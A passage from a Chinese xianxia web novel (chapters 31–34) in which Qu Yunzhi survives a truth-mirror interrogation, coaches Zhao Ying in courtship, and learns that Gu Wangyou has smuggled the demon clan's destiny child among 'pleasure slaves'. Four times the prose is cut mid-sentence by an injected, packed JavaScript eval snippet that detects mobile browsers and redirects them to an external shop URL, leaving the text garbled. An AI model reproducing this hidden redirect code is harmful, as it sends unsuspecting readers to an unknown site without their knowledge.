曲云织眼眶一红,说到情感至深处有了几分哭腔,“我同魔尊之间横亘了杀夫之仇,怎么可能与他有半分私情!” “我和魔尊虚与委蛇,好容易度过魔域艰难的日子,没曾想回到仙宗还要面临诸位峰主长老的怀疑与质问。” “事情传出去,天下人该如何看我曲云织,又该如何看待上清仙宗?” 众人一时被她的突然爆发给慑住,念及他们确实不占理,陷入沉默。 秋白凫却兀自开口,“你说魔尊害死了玄微仙君?曲夫人怕不是逼急了胡言乱语。” “玄微仙君何等人物,怎会在重伤之际选择渡劫,其中之事定有隐情,他的死还不知是谁背后作祟。” 他冷笑一声,“我看曲夫人作为枕边人,玄微仙君之死只怕与你有关吧?” “闭嘴!”温从声忽而怒斥,“玄微之死已经盖棺定论,无需你多言。” 秋白凫本就颇有怨言,此时生出几分不甘,“凭什么?我说的分明是实话,玄微仙君之死疑点重重,宗门却对此敷衍了事,你们到底在顾忌什么?” 温从声面色沉凝如水。 秋白凫清楚看见他眼中警告之意,咬了咬牙,“行,是我说了不该说的。” “但我也知道,你们巴不得我再跳得狠一些,因为曲云织接连参与两个气运之子的死亡,无论找什么借口,你们就是在怀疑她。” 他胸膛一阵起伏,情绪不太稳定,索性自暴自弃道:“好啊,这回我就当一次唱白脸的。” 秋白凫躬身一礼,伸手指向曲云织,“我恳请宗门开启问心镜,让曲夫人当堂对峙,将方才那些疑点复述一道,以证清白。” “问心镜前不容半句虚言。” 那张青面獠牙在幽暗的阴影里无声投来注视,“曲夫人既自认问心无愧,何不应承下来?” * 颜清看着紧闭的议事殿门,急得来回踱步。 不就问几句话的功夫吗?为何师尊这么久了还没出来? 他好几次将手搭在剑柄,想了想又松开,垂头丧气。 不行,这里面一群人他都打不过,想带着师尊跑都做不到。 要是玄微仙君还在就好,至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13370287|139649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少不会让师尊受欺负。 师尊能顺利通过问心镜吗? 颜清止不住地担心,两任气运之子的死亡都与曲云织有关,宗门怀疑她可能有某种方法谋夺或者利用鸿蒙至宝。 不怪宗门,连他自己都有这般猜测。 但师尊既然应下了宗门的质询,就代表她应该做好了准备才是。 可颜清就是控制不住内心的忧虑,生怕有个万一。 “议事殿几时请了个门神蹲守?” 就在颜清陷入焦虑时,只听一道略显冰凉的嗓音远远传来。 他转头一看,见两人朝自己的方向走来,一人紫衣华贵,阴郁雍容,另一人宽袍广袖,意气潇洒。 颜清拱了拱手,“我熟识之人正在议事殿内,等她等得有些焦急,纪道友,是我失态了。” 纪初澜平平“哦”了一声,推开议事殿大门,“师尊,您请吧,我就同这位小友搭个伴,当一对左右门神了。” 那位气质仿若人间风流隐士的修者颔首,径直入殿。 颜清惊诧地多瞄了眼,纪初澜的师父,岂不是曲云织早先拜访的浮罗峰主顾忘忧,他就是师尊搬来的救兵? 冷静下来,颜清的脑子重新回笼。 他轻轻吐出一口气,问心镜一事并未大张旗鼓,但有心人总能打听到。 也就是说,这场问心镜质询本就是做给外人看的,结果早已注定。 无论曲云织是否能够夺取鸿蒙至宝,对外都会宣称她不能。 他干着急也没用。 * 当殿门打开,顾忘忧的身影踏入,所有人的注意力都被暂时吸引过去。 温从声讶然道:“忘忧,你怎的出来了?” 顾忘忧笑容浅浅挂在嘴角,“玄微曾于我有恩,听闻他的遗孀从魔域平安归来,我特来庆贺。” “不过这是怎么了?”他环顾一圈,在撞上曲云织的目光时,还俏皮眨了下眼睛,“为何要以这般态度对待玄微的道侣,诛杀魔尊的功臣?” 温从声已经是第二次听到这般指责,再厚的脸皮也遭不住,连连摆手,“不是我们非得逼曲夫人,只是要在问心镜前提几个问题罢了。” 顾忘忧蹙眉,“你们直说便是,非得挑在问心镜前,这摆明了是不信任她。” 温从声唉声叹气,“忘忧啊,你也别为难老夫,光是我们几个人信了曲小友没用,要天底下的人都能相信才成。” “还请曲小友在问心镜前走一遭,若你当真清白,在场之人都会给你赔礼道歉。” 曲云织看向顾忘忧。 她早就料到如此处境,最开始本打算舍弃现在这个身份,假死潜伏到妖族领地。 可她的致命把柄还捏在面前人手中,她不得不回到上清仙宗。 所以回来后的第一时间,她便去找了他。 这柄悬在头顶的利器,同时也是一把供她驱策的刀。 在她还有用的前提下,顾忘忧自会在上清仙宗内保下她。 顾忘忧微不可查点点头,示意她无需多虑。 曲云织于是应道:“好。” 前面几个疑问,曲云织顶多有所隐瞒,并无谎言夹杂其中,很顺利便过关了。 直到温从声问出了最后一个问题,“曲小友,你是否知道人魔二族的鸿蒙至宝,如今正在何处?” 曲云织看着问心镜中的自己,那道同她别无二致,甚至有几分真实的镜中身影也正望向她。 她盯着那双眼睛,压抑着平稳的呼吸与心跳,一字一顿。 “我不知。” 32. 第 32 章 问心镜中影像凝固了许久。 终于,人影有了变化,镜里的曲云织微微点头,“嗯,你不知。” 曲云织松了口气,没表现出来。 她盯着顾忘忧唇角始终从容不迫的笑,思索他到底是神不知鬼不觉对问心镜动了手脚,还是这东西本来就是上清仙宗一个谎言。 问心镜问不了心。 不论如何,眼前这一关算是过去了。 她明面上与鸿蒙至宝撇清了关系。 秋白凫死死看着这面破镜子,再看周围一圈人那副恶心的和乐融融气氛,他冷哼一声,甩袖便走。 温从声叫住了他,“白凫,你还欠曲小友一声道歉。” 秋白凫置若罔闻,脚步加快。 曲云织见此打了个圆场,“诸位长老峰主本就是职责所在,无需向我致歉。” 温从声感慨,“还是曲小友善解人意,但不做些什么老夫也过意不去。” “这样吧,本来诛杀魔尊一事曲小友占首功,宗门该论功行赏,除了玄微留给你的玉京峰外还有几条灵石矿脉。” 温从声提议,“若曲小友不熟悉如何打理,老夫可在此事上帮衬一把。” 曲云织微微一笑,“多谢温长老好意,不过不必了。” 她看向打开的殿门,颜清眼神亮晶晶看着这边,乳燕投林般飞扑过来。 曲云织轻声说:“这孩子足够可靠。” 二人相携回到了玉京峰。 刚推开竹屋的门,曲云织察觉自己衣角被拉了下,回头。 颜清微微垂下眼眸,脸上没太多表情,嗓音中有些许迟疑,“师尊。” “一点儿忙都帮不上,我是不是很没用。” 他想起葬礼上,自己只能藏身人群中,眼睁睁看着曲云织被魔尊带走。 议事殿前焦急却无能为力的踱步。 那扇兽首金环的殿门对他闭合,却任由浮罗峰主潇洒入内。 他一贯果于自信,事实也确实如此,只花了短短数年时间,就从一介凡人乞丐爬上仙宗首席弟子的位置。 可还远远不够。 他脑海中再次浮现那道白衣鹤氅的身影,仙人之姿,不可攀折。 玄微仙君在世时,无人敢欺曲云织。 换做是他,却不行。 颜清抿起唇瓣,深埋脑袋,不让曲云织察觉他眼中浓浓的不甘。 一个响亮的脑瓜崩将他打醒。 曲云织慢悠悠收手,眉尾一扬,“你是太看得起自己,还是太看不起我?” “我都做不到的,你就别想。”她转而揉了把颜清的发顶,“但反过来说,我要你替我办的事,你却做得足够完满。” 她温声道:“别想太多,你这个年纪专心修行就成。” 颜清捂着额头,眼眸水润,乖巧地轻应一声。 是了,他恍然想起不是谁都有资格被他叫上一声师尊。 起初搭上曲云织的关系,只想借她的方便对玄微仙君软磨硬泡。 后来,日渐相处中颜清却发现,外人眼中靠资源堆砌也才堪堪化形境的玄微仙君道侣,悟性根骨上丝毫不下于仙君本人。 只是她似乎早年处于灵气稀薄的凡人界,浊气入体难以拔除,修行年岁也晚,一身好资质到底被耽误了许多。 颜清抛开杂七杂八的思绪,跟着曲云织进了门,迎面而来就是一个扔过来的储物袋,他随手一接,问道:“这里面是什么?” 曲云织回答也很随意,“宗门论功行赏,除了玉京峰稳稳归我了之外,几条灵脉灵矿,一些天材地宝,还得加上山门下几处产业。” “东西都归你打理,看上了什么自取便是,反正玉京峰也就你我二人,不用白不用。” 颜清答应得爽快,他不是为了虚礼拒绝拿到手好处的人,“师尊不留一些自用吗?玄微仙君替您将身体调养得差不多,浊气尽除,也该厚积薄发让宗门那些人不敢小瞧了吧?” 曲云织从书房门口探出头来,“我一直在修炼啊。” 只不过修炼的夺取鸿蒙至宝的本事,还有一些非同寻常的手段。 听颜清这么一说,曲云织心想是时候将修为进境提上日程,“我还有些琐事要办,你这几日也累了,好生休息。” 颜清笑着点点头,看着书房的门被合上。 他有心想打听问心镜一事,毕竟对外一个说辞,宗门内审却可能是不一样的结果,师尊到底有没有夺取鸿蒙至宝的手段? 但转念一想,师尊是不会让他知道,更不会让他参与进来的。 曲云织将自己关进书房,等木门锁扣声一响,她脸上温和耐心的神情转瞬消失,摇摇晃晃往椅子上一坐,伴随吱呀的摩擦声,脑袋也哐地敲在书桌。 她捏了捏紧锁的眉心,真是一刻也没有休息好。 从魔域出来后,在飞舟上同颜清讨论了永夜城主之事,回到仙宗又马不停蹄拜访顾忘忧,这之后迎接她的便是问心镜质询。 魔尊也好,玄微仙君也罢。 两个亡夫没一个省心,死了还尽给她留烂摊子。 玄微留下的这个勉强算是摆平。 虽然顾忘忧的话不知几分真假,他那心怀大义的目标听得曲云织想笑,但达成合作后短时间内她不会有暴露的风险。 还有一点。 宗门对玄微之死支支吾吾,曲云织通晓其中内情。 但眼下来看又有不一样的解读,会不会他们其实知道玄微并非真正的气运之子,和顾忘忧本就串通一气? 细想又觉不可能,如果是这样宗门早就捏着她的把柄找她谈心,更不会放任她携带太乙天书的情况下沦落魔域。 至于魔尊留下的坑—— 麟符藏了什么秘密,是否真的被摧毁? 在万俟逐鹿与步谨言死后,线索一个埋在永夜城,另一个跟着步妄语远走高飞。 曲云织身处上清仙宗,手还伸不到那么远,只能暂且作罢。 差点忘了还有一个仲凌尉,他也短暂接触过麟符。 李思归的身份经峰主长老们的讨论已证实,但曲云织仍是要去信万法宗求证。 她还有另一个目的,将李思归的现状告知万法宗,多少能换一点人情。 曲云织最初打算舍弃这个身份,自然一开始预想将玉京峰的一切留给颜清,但她既然被顾忘忧的存在逼得只能回到上清仙宗,就该谋划站稳脚跟,为自己争取人脉。 修行一事同样,起初打算剑走偏锋,将所有本事砸在夺取鸿蒙至宝上。 现下要稳打稳扎,那就之后找个时机闭关吧。 曲云织取出一副纸笔,将李思归一事简略说了下,而后将信纸折叠成纸鹤,以灵力点化,目送纸鹤翅膀翕动,从窗口飞了出去。 接下来就是等待回信了。 最后一件杂事处理完,她靠在椅背上闭目养神,以为终于可以休息。 没曾想窗外嗖一声,一封回信跌跌撞撞往她屋子里冲。 曲云织眼疾手快截 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13370288|139649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过,满头问号。 这才多久? 万法宗回信这么快的吗? 抱着某种说不清道不明的震撼,她展开信封。 “曲峰主,诚邀明日午时,于风波池上云亭水榭一聚。” 落款是丹玄峰,赵缨。 盯着那不拘一格的凌厉笔触,曲云织眸色微深。 赵缨? 问心镜质询上唯一一个替她说过两句好话的峰主,可此前她二人毫无交集,找她做甚? 去看看倒也无妨。 翌日,曲云织准时赴了约。 风波池是宗门一处无甚稀奇的景点,胜在开阔,风烟起时波澜丛生。 湖中唯有一方云亭水榭,曲云织到时,赵缨早已等候在此。 朱红漆柱旁,女子身姿高挑劲瘦,简单以发冠束了一个高马尾,头带云锦抹额,杏黄衣衫飘飘飒飒,怀里抱着一柄乌木鞘剑。 曲云织与她互道一礼,率先说:“昨日多谢赵峰主仗义执言。” 赵缨摆了摆手,豪横道:“我不过实话实说而已。” “那不知赵峰主今日约我见面,又是为了何事?”曲云织开门见山。 赵缨站起身,先鬼祟地往两边瞟了一瞟,见湖面开阔四周无人。 她稍稍放了心,深吸一口气,中气十足吼道:“我想请曲峰主教我如何钓男人!” 曲云织:“啊?” 你在说些什么,是她听不懂的语言吗? 赵缨同样,“啊?” 我声音够大了吧,她怎么像是没听清? 曲云织眼前赵缨脸上那副茫然憨直的样子丝毫不作假,她狠狠闭眼,倒退几步,“你先让我缓缓。” 赵缨愣愣“哦”了一声。 曲云织学着她的模样,左右四顾,悲痛地发现周围并没有看热闹的人,这不是一场针对她的玩笑。 赵缨这是来真的。 曲云织难以理解,艰涩开口,“赵峰主,你为何——” 剩下的话她都不知道怎么问。 好端端一个上清仙宗主峰峰主,干嘛想不开要学钓男人? 又为什么逮着她来虚心求教? 赵缨一副看破一切,你就别谦虚了的揶揄神色,“曲峰主,你先是拿下了看似谁都好相处,实则内里冷冰冰的玄微,后又把魔尊那狂妄小子勾得三魂丢了七魄。” 她竖起大拇指,“一看就是手段了得的好女人,我不找你找谁?” 曲云织:“……” 赵缨还在继续,“实不相瞒。” 她脸色微微泛红,目光躲闪,方才还直白放话要钓男人,眼下却是羞赧扭捏的姿态,小声说:“我最近看上一男的,但我除了耍刀弄枪啥都不会。” “总不能将人绑进洞府当媳妇。”她无奈摊手,“咱俩姑且是抬头不见低头见的同宗修士。” 合着但凡不是同宗修士,你就打算绑过来是吗? 曲云织强忍着没有说出口。 她视线落在赵缨不离手的乌木鞘剑上,回想起面前这人是实打实靠着功绩拼杀上位的峰主。 作风强硬,地位稳固。 而她才刚接手玉京峰,迫切需要结交他人稳定自身。 丹玄峰主赵缨,比起尚未回信的万法宗,就是远水和近火的区别。 曲云织张嘴,感觉心底有什么东西平静地碎了。 “行。”她说,“我答应教你如何钓男人。” 为了人脉。 她忍了。 33. 第 33 章 “钓男人的第一步,有一张足够好看的脸。” 曲云织气定神闲,竖起一根食指。 赵缨双手托着下巴,兴致高昂摇头晃脑,闻言下意识嗯嗯两声,后知后觉意识到不对,头点到一半顿住。 “看脸?” 曲云织屁话信手拈来,振振有词,“古人云:食色性也。” “一个人的五官、体态、气质,也即是他外在那副皮囊,是了解他的最初手段和第一印象。” 见赵缨半懂不懂,曲云织索性摊开了说,“就比如你的心上人。” “倘若他一张麻子赖子脸,弓腰驼背,衣服脏到几天不洗还有臭味,你会喜欢上他吗?” 赵缨稍微一想这个画面,赶紧皱巴了一张脸,连连摇头,只要一将曲云织的生动描述往心上人那里一联想,突然感觉失去了某种世俗欲望。 眼见丹玄峰主一脸莫得感情,瞳孔中失去了光。 曲云织反应过来自己说得太过,她都豁出去教人如何钓男人了,怎么可以让罪魁祸首中途放弃。 “打住,我只是说如果。”曲云织赶忙将赵缨拉回来,“修行之人身体自洁,再说上清仙宗弟子大多容貌端正,作为赵峰主心上儿郎,想必也是位惊才绝艳的人物。” 赵缨嘿嘿一笑,有些不好意思,“哪有你说的那么好?” 随即,她跃跃欲试,“所以第一步是改换形象咯?” 曲云织微笑,孺子可教—— 下一刻,她睁大了双眼,只觉身形腾空,风波湖的景色逐渐远离,被赵缨一把拎着提上了飞剑。 “那还等什么,赶紧的,我带你去山下集市,你帮我挑衣裙首饰。” 上清仙宗作为第一大宗派,山门下的集市自然热闹非常。 街铺林立,人流如织,各种珍奇之物琳琅不绝,还有三五成群的修士摆摊吆喝。 曲云织向来打扮素净,不喜过多妆容,但她眼光还是有的。 先为赵缨挑了一身与她平日风格一致,细节处却更彰显雅致的衣裙,后为她描摹妆容。 长眉加深,如铁画银钩的一笔墨痕,丹凤眼清冷昳丽,在不经意的宛转间流露三分情思,唇上未染口脂,却更胜以往润泽。 曲云织收了手,似对自己这副画作十分满意,“你看看如何?” 赵缨冲着镜子左看右看,“这跟我平时也没什么区别啊?” 曲云织拿画眉的笔杆轻轻敲了下不成器学生的脑袋,“要的就是这个效果。” “你堂堂丹玄峰主,忽有一日改头换面,外人看来只会以为你近期出了变故,心性大改。” 曲云织倏而若有所思,笔杆一转抵在下巴上,“说起来这条路子也行,飒爽女剑仙点染红妆,如此反差说不准能引得你心上人好奇。” “要试试吗?” 赵缨猛摇头,“这不太行,化妆后脸上黏糊糊的,难受。” 曲云织只能遗憾作罢。 二人刚离开这间脂粉铺子,赵缨脚步就是一顿,呆呆凝视一个方向,揪了揪曲云织衣袖,压低的嗓音里尽是惊慌。 “姐妹,我这身打扮真的没问题吗?” 你不是刚说跟平常无甚区别? 曲云织顺着她的视线,瞥到人群中一道鹤立鸡群的男子身影,再看赵缨紧张不安的神色,她挑高了眉头。 这么巧,刚出门就遇见了心上人? 更巧的是,赵峰主的心上人也正笔直朝她二人的方向走来。 等那人走近,曲云织也看清了他是个什么模样。 银簪束发,一袭紫衣,领口与袖摆均绣风雷纹,腰间悬挂一枚白玉,打扮得华贵雍容,凌厉冷峻的五官颇有些散漫的意思,气质稍显沉郁。 纪初澜,顾忘忧的二弟子。 曲云织对他的印象很浅,只记得此人在宗门内行事低调,至少与颜清同辈却不及他锋芒毕露,但也算不得太差,通常负责统筹宗门大型事项,亦或后勤调度。 纪初澜中规中矩朝二人行礼。 曲云织颔首回应,眼神往旁边赵缨身上瞟,想看看她是何反应。 只见杏黄衣裙的女子面如寒霜,抱着剑冷淡嗯一声。 曲云织:“……” 她不由扶额,怪不得赵缨找她求助,看她这副冷冰冰的神情,谁能想到是面对心仪之人的羞涩。 只能感慨道阻且长。 纪初澜忽然道:“曲峰主。” 她已正式接任玉京峰,曲夫人这个称呼不便再用。 曲云织回神,没想到他是来找自己,“何事?” 纪初澜从袖中取出一张清单,展开后一抖,“我本在集市上安排玉京峰物资的采买,碰巧遇上了于是和您说一声。” 东西都是颜清安排,曲云织本想随意应付过去。 纪初澜道:“清单上所书我已大致准备好,只是还有一物仙宗附近寻不得,需要过几日才能外界渠道入手。” 什么东西上清仙宗都找不到? 颜清这小子到底瞧上了个什么稀罕玩意儿? 曲云织讶然问,“何物?” 纪初澜面色陡然古怪,瞧了她半晌,见她好似不知情,这才尾音上扬,慢吞吞地吐出三个字。 “玉面奴。” 简言之长得俊俏的男□□隶,多被买来当面首。 纪初澜不忘补充,“还是三十个。” 曲云织:“……” 赵缨:“……” “嘶——”赵峰主倒抽一口凉气,身形后仰。 她看着曲云织,眼中是一种深深的震撼,找来恋爱商谈的便宜师父,原来背地里行事作风竟恐怖如斯? 这可是面首,还是三十个! 她居然吃得消诶。 赵缨深感自己找对了人,偷偷对曲云织竖了个大拇指。 曲云织:“……” 她只想看赵缨的八卦,而不是被她八卦! 曲云织眼神蓦地凶恶起来,“你确定没有看错,清单上写的不是小厮侍童?” 纪初澜将清单明明白白展示在她面前,“曲峰主自行查看便是。” 曲云织一把夺过清单,目光如刀切割过每一行字迹,然后心如死灰地发现那上面切实写着三个大字—— 玉面奴。 是谁?到底哪个刁民在败坏她名声? 匆匆告别吃瓜正起劲的赵缨,曲云织强行薅着纪初澜就上了玉京峰。 颜清远远瞧着她气势汹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388260|139649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汹的身影,招呼还没打就迟疑问,“曲峰主,这是怎么了?” 曲云织冷着面容,将满脸无奈的纪初澜往前边一扔,“自己看。” 颜清随意一扫,目光死死定在玉面奴几个大字上,脸色一变,“师……曲峰主。” 他及时改了口,但眼中摇摇欲坠的泪光掩饰不住,“您要是觉得玉京峰上冷清,收几个杂役弟子就好,没必要——” 颜清甚至反思,自己是不是不该阻止师尊捡外面的野猫野狗,否则也不会憋成这样。 曲云织瞪了他一眼,转向纪初澜,“你也看到了,这三个字既非他更非我所写,你们浮罗峰是否该查一查,被有心人混入其中动手脚的可能?” 纪初澜理了理被抓皱的衣襟,泰然自若,“曲峰主刚立了大功,玉京峰这桩单子我们本就重视,要不然就不是我亲自采买。” “我敢担保,单子到我手上内容就是这样了。” 颜清插话,“清单是我亲自递给浮罗峰,并未经第三方转交。” 他可要用来布置与师尊的新居所,比谁都要看重此事。 曲云织听了他二人的话,只稍一思索就明白干出这种荒唐事的刁民是谁。 她嘴角缓缓扯了个皮笑肉不笑的弧度,丢下这俩面面相觑的弟子,撸起袖子杀上浮罗峰。 顾忘忧今日依旧在附庸风雅,凉亭赏花,烹茶洗砚,提笔正要作画。 曲云织靠在四角凉亭的漆柱旁,幽幽道:“茶是好茶,就是水温过高闷泡太久,口感只会发涩。” “砚台乃难得一见的好物,可惜磨墨的手法堪称粗劣。” “前些天顾峰主弹的琴,更是只闻声调不见琴意。” 曲云织咬着牙,逐字逐句加重语调,“顾峰主真是好雅兴啊。” 顾忘忧背影一僵,悻悻然转身,“有那么差吗?” 曲云织淡声道:“上次我就想拆穿你了,就是没找到机会。” “不应该呀。”顾忘忧敲了敲脑袋,“玄微此等光风霁月的君子,也夸赞过我琴技了得,还欣然饮下我为他准备的茶水。” 曲云织笑容更加不屑,“那就不奇怪了,玄微他就是个样子货,看着光鲜亮丽,实则琴棋书画一窍不通。” 顾忘忧:“……” 玄微啊玄微,没想到你是这样一人。 曲云织却觉得面前这人和记忆中的亡夫简直蛇鼠一窝,品位差成这样,怪不得混到一处去。 顾忘忧:“你今日怎的对我意见这般大?” 曲云织不回答,甩手将采买清单掷到他怀里,“你说呢?” 颜清直接将单子交给浮罗峰,落到纪初澜手里前,只有浮罗峰主有那个权限中途截住,也只有他这般恶劣的性子会干出这种破事。 顾忘忧接过清单,看也不看,“曲峰主不说清楚,我怎知因何事恼了你?” 曲云织冷笑,“自作主张替我写上玉面奴,我竟不知顾峰主何时干起了老鸨的勾当?” “哦?” 顾忘忧支起下颌,饶有兴致问,“倘若我说,妖族气运之子此时正在这批玉面奴中,曲峰主该当如何?” 曲云织一惊。 “你把妖皇当面首给我掳来了?” 34. 第 34 章 “咳咳咳!” 顾忘忧差点给自己口水呛住,“曲峰主说什么?” 曲云织看眼前人的目光都不能说是刁民,而是此世最强老鸨,“我说,你把妖皇抢来给我当面首了?” 顾忘忧一言难尽,“曲峰主,顾某再手眼通天,也没有这等本事。” 曲云织气消了不少,此刻也不着急,悠悠然往浮罗峰主对面一坐,嫌弃地将茶水撇开,“到底怎么一回事?” 顾忘忧眼神落在杯中尚未平复的涟漪,心里一阵憋闷。 往日玄微也好,他那两个不成器的弟子也罢,都只见夸他品味好,有逸致闲情的,何时被人如此直白地挤兑过? 他闷不吭声灌了口茶水,愤愤地想自己泡的茶不过苦了点,涩了点,香气淡了点,比那些好茶差到哪里去? 比起玄微那个琴棋书画一窍不通的样子货,他顾忘忧分明是个有真材实料的风雅君子。 以上这些想法在脑子里过了一圈,顾忘忧眉眼淡静,音色温雅,说出的话语却像平地一声惊雷。 “现任妖皇是个假的。” 曲云织眼睫颤了颤,瞳孔倏地一凝。 妖族的鸿蒙至宝比起其他三族传承方式有些特殊,神族未知,而人魔两族是在上一任持有者死后至宝自行择主,至于妖族—— 他们以血脉禁锢了鸿蒙至宝,每一任拥有王族血统的妖皇,都是手持至宝登基。 登上王座后却要作为傀儡皇帝,任由神族在背后牵线。 顾忘忧含笑说:“前代妖皇早对神族有反叛之心,应该说每一任妖皇都如此,我便好心给他一个机会。” “妖族内有我安插的奸细,唆使前代妖皇以秘术瞒着神族偷龙换凤,所以现任妖皇是个做得逼真的假把式,真正的气运之子被我偷渡到这批即将送给你的面首之中。” 曲云织质疑道:“被前代妖皇藏起来的金疙瘩,怎么可能如此轻易流落在外?” 顾忘忧眨了眨眼,神色无辜,“因为除了我安插的那个奸细,参与这件事的包括前代妖皇,无一例外都死了。” “知道鬼哭崖一役吗?” 曲云织点头,她知晓的内情还多些。 万俟逐鹿成为魔尊后受到神族背后指使的偷袭,出于报复夺走了妖族圣地鬼哭崖。 顾忘忧说:“圣地被夺后,前代妖皇没多久重伤不治而亡,来不及告知真相,妖族内知晓他狸猫换太子计划的人,也在那场战役中被推奸细出去借魔族之手灭了口。” “就连现任妖皇自己,都对他的身世一无所知。” 曲云织深深看着面前之人,流云广袖,衣袍飘逸,乌发随性地散在肩上,一副与世无争逍遥自在的隐士模样,背地里竟有如此筹谋。 可怜了前代妖皇苦心孤诣,该做的都做了,最终成果却付诸东流,全给他人作嫁衣裳。 曲云织难得有些悔意,同顾忘忧这般心计狠毒之人搭了同一条船。 可她别无选择。 “所以。”曲云织回想自己一开始的来意,“为何非要以玉面奴的身份偷渡妖族气运之子?” 顾忘忧坦坦荡荡,反而责怪起曲云织,“那毕竟是个妖族,不藏木于林单独拎出来会很显眼,再说你们玉京峰偌大一座山头就两个人,我该怎样合情合理送一大摞人上去?” 好有道理。 曲云织差点被他信誓旦旦的语气说服,反应过来后气得想笑,“你完全可以提前告知我一声,流程我来安排便是。” “妖族气运之子可以是寻常奴隶,可以是对外招的杂役,更可以化作原型当一只妖宠。” “你将他放置在一群男宠里面送给我,是何居心?” 顾忘忧被堵得哑口无言,顿了得有几个呼吸的功夫,他才不情不愿一摊手。 “好吧,我承认我就是想看你笑话。” 曲云织:“……” 她袖子底下的拳头捏得邦邦硬。 顾忘忧非但毫无所觉,还愈加理直气壮,“成日待在浮罗峰,我闲得没事可干,好不容易遇上曲峰主这样的乐……友人,便饶了我的捉弄之心罢。” 曲云织:“……” 他刚刚想说的是乐子吧? 眼瞧着曲云织眸底的杀心如有实质,顾忘忧赶忙换了个话题。 “曲峰主此刻手头上应该有人魔二族的至宝吧?” “自然是有的。”曲云织笑吟吟的,眼神却冷得如同结了冰。 顾忘忧倒是情绪高涨,“可否拿出来让我瞧瞧?” 曲云织顿了顿,指尖凝出一颗浑圆的血珠,色调沉暗宛如浓墨,只在光晕流转间隐约折射一丝猩红。 她屈指一弹,平平无奇的血珠像颗玻璃球似的骨碌碌滚到顾忘忧面前,被他两指夹起。 “这玩意儿就是九幽水?”顾忘忧歪头,凑到眼前仔细打量。 他不由得啧啧两声,“我听闻魔族至宝九幽水,形态变化无常但浩瀚万千,散可化作云雨,聚是百川归流,怎么如今成这样一个小不点儿了。” 曲云织:“……魔尊当初向我展示的就是这般模样。” 要怪就怪万俟逐鹿。 说起鸿蒙至宝的话题,曲云织掌心金光一闪,手中多出来十二道空白玉简,平铺在石桌上。 “既然顾峰主才是这太乙天书真正的主人,能否告知我天书的用法?” 顾忘忧注意力还放在幼崽版九幽水上,稀奇地在手上来回把玩,闻言看都不看一眼十二玉简,随口就道:“天书不是空白的吗?” “等那上面什么时候浮现字迹,你就知道该怎么用了。” “至于时机是什么时机,字是什么字,别问我,我没见过,压根不清楚。” 曲云织:好废物一天书。 她忽然有些理解顾忘忧满心满眼盯着九幽水,却对天书置之不理的态度了。 顾忘忧抽空瞥了一眼,清晰望见曲云织脸上的微妙神色,他觉得天书好歹是人族至宝,自己嫌弃就够了,不应该被他人看瘪。 “天书平日里还是很好用的。”他补充一句,松开九幽水,任由其化作虚影回归到曲云织体内。 顾忘忧抄起无人问津的十二道空白玉简,指关节敲出清脆几声响,“这东西皮实得很,比那些个护心镜还要好使。” 为了证明自己言之有物,顾忘忧起身,稳住下盘沉心静气,动作间袖摆滑落,露出一截优美流畅的小臂。 五指成拳,往太乙天书上狠狠一砸。 轰隆! 劲力穿透半指厚的玉简,残余的风压越过曲云织,连连击碎几棵参天古木,将她身后山林搅得落叶纷飞,鸟兽惊起。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404709|139649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾忘忧收了手,哗啦啦一抖十二道纤毫未损的玉简,殷切的笑容就像市井商贩推销自家产品,“哝,我就说这玩意儿皮实吧,你将它绑身上,保管何种神兵利器都破不了你的防。” 曲云织真诚地问,“天书能卸掉内劲吗?” 顾忘忧看了一眼被他拳风摧折后的狼藉山林,缓缓地挪开了视线,不语。 曲云织:那天书不还是除了硬度高点一无是处的废物吗? 顾忘忧掩唇轻咳,“说回正题。” “有关天书之事我已全盘托出,能换曲峰主将九幽水之密不吝告知吗?” 曲云织唇角一扬,“很遗憾,我或许能从气运之子手中夺走鸿蒙至宝,却似乎不被至宝所认可,无法动用它们的力量,对九幽水仍然一无所知。” 前几句是真,她只能说蒙骗了至宝的所有权,而非真正使至宝易主,在她手里无法发挥一星半点的能力,即便已然集齐人魔二族至宝,满足了发动的条件。 